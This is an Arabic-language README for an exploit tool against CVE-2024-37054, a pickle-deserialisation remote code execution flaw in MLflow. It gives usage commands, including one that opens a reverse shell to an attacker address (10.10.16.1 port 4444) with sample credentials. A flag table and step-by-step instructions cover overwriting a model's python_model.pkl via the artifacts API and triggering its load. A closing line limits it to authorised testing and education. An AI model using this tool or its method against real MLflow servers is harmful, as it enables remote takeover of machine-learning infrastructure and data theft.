
استغلال CVE-2024-37054 والتوثيق
الخطورة: حرجة
المتأثر: MLflow 0.9.0 – 2.14.1
النوع: تنفيذ تعليمات برمجية عشوائية عبر إلغاء تسلسل pickle في بايثون
يقوم mlflow.pyfunc.load_model() بإلغاء تسلسل python_model.pkl من مخزن القطع الأثرية دون أي تنقية. يمكن للمهاجم الذي يمكنه الوصول إلى واجهة REST API لمخزن القطع الأثرية في MLflow استبدال هذا الملف بـ pickle ضار، مما يؤدي إلى تنفيذ أوامر نظام تشغيل عشوائية في المرة التالية التي يتم فيها تحميل النموذج.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
| العلم | الوصف |
|---|---|
--mlflow URL | عنوان URL الأساسي لخادم تتبع MLflow (مطلوب) |
--model NAME | اسم النموذج المسجل — يتم تحديد الأول تلقائيًا إذا تم حذفه |
--version N | إصدار النموذج — الافتراضي هو الأحدث |
--user / --pass | بيانات اعتماد المصادقة الأساسية HTTP لـ MLflow |
--run-id / --exp-id | تجاوز اكتشاف النموذج باستخدام معرّفات معروفة |
--trigger-url URL | نقطة نهاية التطبيق التي تستدعي load_model() — احذف للرفع فقط |
--session COOKIE | ملف تعريف ارتباط الجلسة المرسل مع طلب المشغل |
/api/2.0/mlflow/registered-models/search للعثور على نموذج و run_id / experiment_id الخاص بهPUT بحمولة cloudpickle ضارة إلى /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() على ذلك النموذج سيقوم بإلغاء تسلسل الحمولة وتنفيذ الأمرتتطلب خطوة التشغيل نقطة نهاية تطبيق تقوم بتحميل النموذج. إذا لم يكن أي منها معروفًا، استخدم --no-trigger (أو احذف --trigger-url) وقم بتشغيل التحميل عبر أي وسيلة متاحة.
لأغراض اختبار الاختراق المصرح به والتعليم فقط.